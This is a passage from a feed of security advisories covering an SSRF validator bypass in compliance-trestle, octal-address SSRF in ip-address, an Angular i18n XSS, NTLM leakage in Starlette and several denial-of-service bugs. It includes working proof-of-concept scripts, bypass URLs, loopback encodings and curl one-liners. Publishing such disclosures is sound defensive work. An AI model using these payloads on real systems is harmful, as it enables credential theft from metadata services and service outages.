3. 0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYSBLOCKEDNETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).

4. DNS rebinding ribbon is only one IP deep. resolvehostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validateurl(self.url) performs in dofetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.

Sibling code paths sharing the same defect: SFTPFetcher.init (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.

Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)

bash 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's isglobal fix, proving this bypass is isglobal-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 Name: compliance-trestle Version: 4.0.3

2. Driver cat > e2efull.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestle.core.remote.security import URLSecurityValidator, getblockprivateipsconfig from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler): def doGET(self): body = b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF","SecretAccessKey":"REDACTED","Token":"FAKEIMDSRESPONSE"}' self.sendresponse(200); self.sendheader("Content-Length", str(len(body))); self.endheaders(); self.wfile.write(body) def logmessage(self, a, kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer): addressfamily = socket.AFINET6 def serverbind(self): try: self.socket.setsockopt(socket.IPPROTOIPV6, socket.IPV6V6ONLY, 0) except (AttributeError, OSError): pass super().serverbind()

PORT = 18560 srv = DualStack(("::", PORT), IMDS) threading.Thread(target=srv.serveforever, daemon=True).start() time.sleep(0.2)

validator = URLSecurityValidator(blockprivateips=True) def attempt(label, url, expectblock): try: validator.validateurl(url); verdict, blocked = "VALIDATION PASSED", False except TrestleError as e: verdict, blocked = f"BLOCKED: {str(e)[:80]}", True meta = "(expected)" if blocked == expectblock else "( UNEXPECTED )" print(f"\n[{label}]\n URL: {url}\n Validator: {verdict} {meta}") if not blocked: try: p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3) c.request("GET", p.path or "/"); r = c.getresponse(); print(f" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close() except Exception as e: print(f" Connectivity: {type(e).name}: {str(e)[:80]}")

Negative controls (validator must block) attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True) attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True) attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True) attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True) Bypasses (validator should block, but does not) attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True) attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True) attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True) attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True) srv.shutdown() PY

3. Run ./venv/bin/python e2efull.py

Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's isglobal/isprivate reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the isglobal predicate. The mechanism is therefore robust to CPython version:

Python: 3.12.13 compliance-trestle: 4.0.3 ::ffff:169.254.169.254 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:127.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:10.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254] URL: https://169.254.169.254:18560/latest/meta-data/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)

[NEG-2: literal 127.0.0.1] URL: https://127.0.0.1:18560/admin Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)

[NEG-3: metadata.google.internal] URL: https://metadata.google.internal:18560/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)

[NEG-4: literal 10.0.0.1 RFC1918] URL: https://10.0.0.1:18560/admin Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata] URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost] URL: https://0.0.0.0:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback] URL: https://[::ffff:127.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918] URL: https://[::ffff:10.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: RemoteDisconnected: Remote end closed connection without response

(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of isglobal-independence: even with CPython's CVE-2024-4032 fix active (isglobal=False, isprivate=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)

Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validateurl() on the latest patched release.

Impact

- SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch. - SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny. - SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLEBLOCKPRIVATEIPS=true is explicitly set, defeating the operator's defense-in-depth posture. - The cache-write traversal protection (PathSecurityValidator.validateurlpathforcache + validatecachepath) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.

Suggested fix

Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('::1/128'), ipaddress.ipnetwork('169.254.0.0/16'), ipaddress.ipnetwork('fe80::/10'), ipaddress.ipnetwork('0.0.0.0/8'), # IPv4 "this network", reaches localhost on Linux ipaddress.ipnetwork('::/128'), # IPv6 unspecified ]

def canonicalizeip(self, ipaddr): """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.""" if isinstance(ipaddr, ipaddress.IPv6Address) and ipaddr.ipv4mapped is not None: return ipaddr.ipv4mapped return ipaddr

def checkblockednetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) for network in ALWAYSBLOCKEDNETWORKS: if ipaddr.version == network.version and ipaddr in network: raise TrestleError(...)

def checkprivatenetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) # ... same canonicalization before blockprivateip / warnprivateip

Also add the canonicalized literal to checkmetadataendpoints:

python def checkmetadataendpoints(self, hostname): # Canonicalize bracketed IPv6 literal hostnames before exact-match canonical = hostname.strip('[]') try: canonicalip = ipaddress.ipaddress(canonical) if isinstance(canonicalip, ipaddress.IPv6Address) and canonicalip.ipv4mapped: canonical = str(canonicalip.ipv4mapped) except ValueError: pass if canonical in METADATAHOSTNAMES: raise TrestleError(...)

This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.

Credit

Reported by tonghuaroot.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Input Validation, SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inetaton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on READDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

| Input | correctForm() | Classified as | Resolver reaches | Effect | |---|---|---|---|---| | 012.0.0.1 | 12.0.0.1 | public | 10.0.0.1 | internal target allowed | | 012.012.012.012 | 12.12.12.12 | public | 10.10.10.10 | internal target allowed | | 010.0.0.1 | 10.0.0.1 | private | 8.0.0.1 | public target blocked |

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

js new URL('http://012.0.0.1/').hostname // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@10.3.0, then:

js const { Address4 } = require('ip-address');

// A guard of the shape the library documents. function isBlocked(host) { return Address4.isValid(host) && new Address4(host).isPrivate(); }

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) { console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h, '-> resolver reaches', new URL('http://' + h + '/').hostname); }

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1 ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1 ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and READDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

js if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1 0x7f.0.0.1 0x7f000001 2130706433 127.1 127.0.1 127.0.0.1. 127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

1 / 3
Source: GitHub
First published (updated )
Severity
7.6
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular compiler's internationalization (i18n) pipeline. Although Angular disallows binding to event-handler attributes such as onclick and onerror through standard attribute validation (validateAttribute() / validateProperty()), the i18n metadata collection path allowed these same attribute names to be marked for translation using i18n-on attributes (e.g., i18n-onerror).

When exploited, a lower-trust translation file could replace a benign static handler such as onerror="void 0" with arbitrary executable JavaScript in the localized build.

The following example illustrates a vulnerable pattern: html <img src="foo.jpg" onerror="void 0" i18n-onerror />

Impact

When exploited, this vulnerability allows arbitrary JavaScript execution within the context of the vulnerable application's domain if an attacker can control or influence the translation files used during localization. This can lead to: - Session Hijacking: Accessing session cookies, tokens, or sensitive user data. - Unauthorized Actions: Performing actions on behalf of the authenticated user.

Patched Versions

- 22.0.1 - 21.2.19 - 20.3.27

Workarounds

Ensure that static event-handler attributes (e.g., onerror, onclick) are never marked for internationalization (i18n-on) in application templates, and ensure translation files are sourced from trusted origins.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.27, 21.2.19, and 22.0.2, HttpTransferCache comma-joins repeated request parameters, allowing semantically distinct HttpClient requests to use the same transfer-cache key and reuse a wrong backend response. This issue is fixed in versions 20.3.27, 21.2.19, and 22.0.2.

1 / 2
Source: MITRE
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.

This issue affects Apache Thrift: before 0.24.0.

Users are recommended to upgrade to version 0.24.0, which fixes the issue.

First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact Remotely triggerable DoS in find-my-way when it is used with Node's HTTP/2 server.

The short version is that lookup() passes req.method into find(), and find() indexes this.trees[method]. Since this.trees is a normal object, HTTP/2 method values like constructor, toString, or proto can resolve inherited object properties instead of returning undefined. The code then treats that value like a router node and crashes when it reaches currentNode.prefix.length.

Patches

Upgrade to v9.7.0.

Workarounds

Do not use find-my-way with HTTP/2 servers, or validate that the http method is valid beforehand.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Improper certificate validation in Apache MINA SSHD (server-side). Apache MINA SSHD is a Java library for client-side and server-side SSH.

Server-side OpenSSH user certificate validation during user authentication in an Apache MINA SSHD server did not check for the unsupported force-command or verify-required options that could be embedded in the certificate, nor did it validate these options. As a result it was possible that a user could authenticate with such a certificate that included a force-command option but still was able to execute other commands. What other command exactly would be available to the user depends on the implementation of the server.

This issue is fixed in Apache MINA SSHD 2.19.0 and 3.0.0-M5. Applications are advised to upgrade to these versions.

The fix rejects OpenSSH user certificates that include these options, since Apache MINA SSHD implements neither force-command nor sk--cert-v01 user certificates (which are the only ones for which verify-required would make sense).

1 / 2
Source: Red Hat
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

@opentelemetry/propagator-jaeger decodes incoming HTTP header values with decodeURIComponent() without handling decode errors. A single request carrying a malformed percent-encoded value (for example a bare %) in an uber-trace-id or uberctx- header throws an uncaught URIError, terminating any Node.js process that uses JaegerPropagator as its active propagator.

Impact

Denial of Service: Any unauthenticated remote attacker who can send an HTTP request to a service that has JaegerPropagator registered as the global propagator (e.g. via OTELPROPAGATORS=jaeger or propagation.setGlobalPropagator(new JaegerPropagator())) can terminate the process with a single request. Confidentiality and integrity are not affected.

Am I affected?

This issue affects only a specific, opt-in configuration. If you use OpenTelemetry's default propagators (W3C TraceContext and Baggage), you are not affected.

You are affected only if you have registered JaegerPropagator as the active propagator. Check for:

- @opentelemetry/propagator-jaeger in your dependency tree, and - OTELPROPAGATORS set to jaeger (Jaeger only), or a direct propagation.setGlobalPropagator(new JaegerPropagator()) call in your code.

Note: if JaegerPropagator is combined with other propagators through a CompositePropagator (for example OTELPROPAGATORS=jaeger,tracecontext), the process does not terminate - the composite propagator catches the error - but affected requests silently fail to extract context. You should still upgrade.

Patched versions

- @opentelemetry/propagator-jaeger 2.9.0

Remediation

Update @opentelemetry/propagator-jaeger to 2.9.0 or later. The propagator now ignores header values it cannot decode instead of throwing.

Interim mitigation (if you cannot update): Trace-context headers should never be accepted unfiltered from untrusted callers. Until you can upgrade, strip or validate the uber-trace-id and uberctx- headers on inbound requests at your edge - for example with a reverse proxy, API gateway, or load balancer (nginx, Envoy, etc.) - so that only trusted upstream services can set them.

Details

JaegerPropagator.extract() calls decodeURIComponent() on raw header values at two unguarded call sites: the uber-trace-id trace header and each uberctx- baggage value. decodeURIComponent() throws URIError: URI malformed on invalid percent-encoding. Because the HTTP instrumentation extracts context before its request-handler error wrapper, and a single configured propagator is not wrapped in a CompositePropagator (which would otherwise catch the error), the exception propagates as an uncaughtException and terminates the process.

Proof of concept

Against a service using JaegerPropagator:

bash curl -H 'uberctx-user: %' http://target/ or curl -H 'uber-trace-id: %' http://target/

The Node.js process exits with URIError: URI malformed and subsequent requests are refused.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

protobufjs parsed option names by advancing through schema tokens until it reached an = token, without checking for end of input. A crafted .proto schema that opens an option declaration but ends prematurely could cause the option parser to loop without ever terminating.

This affects the reflection parsing path (parse, Root.load, Root.loadSync).

Impact

An attacker who can provide or influence .proto schema text parsed by an application may be able to cause the parsing call to never return. Because Node.js is single-threaded, the blocked event loop prevents all other work in the process, resulting in a denial of service that persists until the process is externally terminated.

Applications that only encode or decode protobuf binary data with trusted schemas are not directly affected.

Preconditions

- The application must parse .proto schema text influenced by an attacker. - The schema must be parsed through APIs such as parse, Root.load, or Root.loadSync. - The crafted input must begin an option declaration that ends before its = assignment.

Workarounds

Do not parse .proto schemas from untrusted sources with affected versions. If untrusted schema text must be accepted, isolate parsing in a process or worker that can be safely terminated and bound it with a timeout, so a non-returning parse call cannot deny service to the rest of the application.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Uncontrolled Resource Consumption vulnerability in the HTTP/1.1 message parser in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending messages with excessive number of headers / excessive header length

1 / 2
Source: Red Hat
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary shell-quote's parse() finalizes its token list with a reduce that uses Array.prototype.concat as the accumulator. Each prev.concat(arg) copies the entire growing array, so parse() runs in O(n²) in the number of tokens. An unauthenticated attacker who can submit a string to any code path that calls parse() on it can block the single-threaded Node.js event loop for tens of seconds with a small input — a denial of service. The trigger needs no shell metacharacters (plain space-separated words suffice), so input filters that only screen for ;, |, $, or backticks do not help.

Root cause parse.js (lines 200–203), in parseInternal — this path runs on every parse() call:

js }).reduce(function (prev, arg) { // finalize parsed arguments // TODO: replace this whole reduce with a concat return typeof arg === 'undefined' ? prev : prev.concat(arg); }, []);

prev.concat(arg) allocates a new array and copies all of prev on every iteration, so producing an N-token result costs 1 + 2 + … + N = O(N²) copies. A second acc.concat(s) reduce in the module.exports wrapper (lines 211–224, reached only when env is a function) has the same shape. The maintainer's own // TODO: replace this whole reduce with a concat already flags the construct.

Proof of Concept js const { parse } = require('shell-quote'); const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; }; for (const N of [16000, 32000, 64000, 128000]) { console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms'); }

Measured on shell-quote@1.8.4, Node v24:

| input (N tokens) | bytes | parse() | ratio vs prev (2× input) | |-----------------:|-------:|----------:|:------------------------:| | 16 000 | 32 KB | 678 ms | — | | 32 000 | 64 KB | 4 169 ms | ×6.2 | | 64 000 | 128 KB | 14 914 ms | ×3.6 | | 128 000 | 256 KB | 57 319 ms | ×3.8 |

Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s; ~256 KB → ~57 s; a few hundred KB more → minutes. <img width="656" height="214" alt="image" src="https://github.com/user-attachments/assets/e8955b0e-0527-45ca-94b7-c3a2d8c0c82e" /> poc.js

Impact parse() is synchronous on the main thread; while it copies arrays quadratically the entire event loop is blocked and the process serves no other requests. Any service that calls parse() on attacker-influenced input (command parsers, chat-ops / bot command handlers, REPLs, build-script / arg-string splitters) can be driven to a sustained DoS with a single small request. No code execution and no data disclosure — availability only.

End-to-end confirmation: a minimal HTTP server that calls parse() on the request body, hit with one POST of 'x '.repeat(32000) (~63 KB), froze for ~4.5 s. An out-of-process probe client issuing harmless GET /ping requests (normally ~1 ms) observed 27 consecutive pings stalled by up to 4374 ms during that single request — i.e. every concurrent client was denied service for the whole parse. Scaling the body to a few hundred KB extends the outage to minutes.

This is the same class as several accepted 2026 advisories for quadratic-parser DoS on untrusted input (e.g. markdown-it CVE-2026-48988, js-yaml CVE-2026-53550, python-multipart CVE-2026-53539). It is distinct from the known shell-quote command-injection issues (CVE-2021-42740, CVE-2016-10541, CVE-2026-9277), which are all in quote(), not parse().

Suggested remediation Replace the O(n²) concat-in-reduce with a linear flatten that pushes into the accumulator instead of reallocating and copying it on every iteration. Apply the same shape to the wrapper's acc.concat(s) reduce. A defensive input-length cap on parse() is a cheap additional stop-gap.

Maintainer note (edit): the originally-suggested Array.prototype.flat() is ES2019 / Node 11+, but shell-quote declares engines: node >= 0.4, so .flat() would silently drop support for older runtimes. The fix instead flattens one-level array tokens with forEach/push — and deliberately not push.apply(...), since spreading a large array into function arguments can exceed the engine's argument count limit. Output is byte-identical to the current code across strings, undefined holes, one-level array tokens, and {op}/{comment}/{op:'glob'} objects, and finalizing is now linear (1,024,000 tokens in ~150 ms vs ~57 s for 128,000 before). Thanks for the clear report and PoC — the analysis and reproduction were spot on.

Disclosure Found by source audit + wall-clock confirmation against 1.8.4 (and verified the same code is present on main). Reported privately here; no public disclosure until a fix is available.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.

Details

StaticFiles.lookuppath() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.

This only affects the default configuration (followsymlink=False), which uses os.path.realpath. The followsymlink=True branch uses os.path.abspath, which performs no I/O.

Impact

Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.

Mitigation

Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

protobufjs could recurse without a depth limit while converting decoded messages to plain objects or JSON. This affected generated toObject() conversion and the custom google.protobuf.Any JSON conversion path.

A crafted protobuf binary payload containing deeply nested Any values could cause the JavaScript call stack to be exhausted during conversion to JSON.

Impact

An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause message conversion to fail with a stack overflow.

This affects applications that decode untrusted protobuf input containing google.protobuf.Any values and then convert decoded messages to JSON or plain objects with JSON conversion enabled, for example through JSON.stringify(message), Message#toJSON(), or Type.toObject(message, { json: true }).

Applications that only decode and re-encode protobuf binary data without converting decoded messages to JSON are not directly affected by this issue.

Preconditions

The application must decode protobuf binary data influenced by an attacker. The application schema must include google.protobuf.Any, and the referenced typeurl must resolve to a message type in the loaded protobuf root. The application must convert the decoded message to JSON or a plain object through an affected conversion path. The crafted input must contain deeply nested Any values that are expanded during conversion.

Workarounds

Avoid converting untrusted protobuf messages containing google.protobuf.Any values to JSON with affected versions. If immediate upgrade is not possible, reject or limit messages with deeply nested Any payloads at an outer protocol boundary where feasible, avoid JSON conversion of untrusted Any values, or isolate message conversion in a process that can be safely restarted.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A Denial of Service (DoS) vulnerability exists in the @angular/common package of the Angular framework. The formatDate function, which is also utilized by the standard Angular DatePipe, does not properly limit or validate the length of the format parameter.

When parsing a maliciously crafted, excessively long date format string (e.g., a repeating pattern or very large string), the internal parser splits the string iteratively using a regular expression loop. This results in uncontrolled resource consumption (high CPU utilization and excessive memory allocations), leading to a Denial of Service (DoS).

Impact

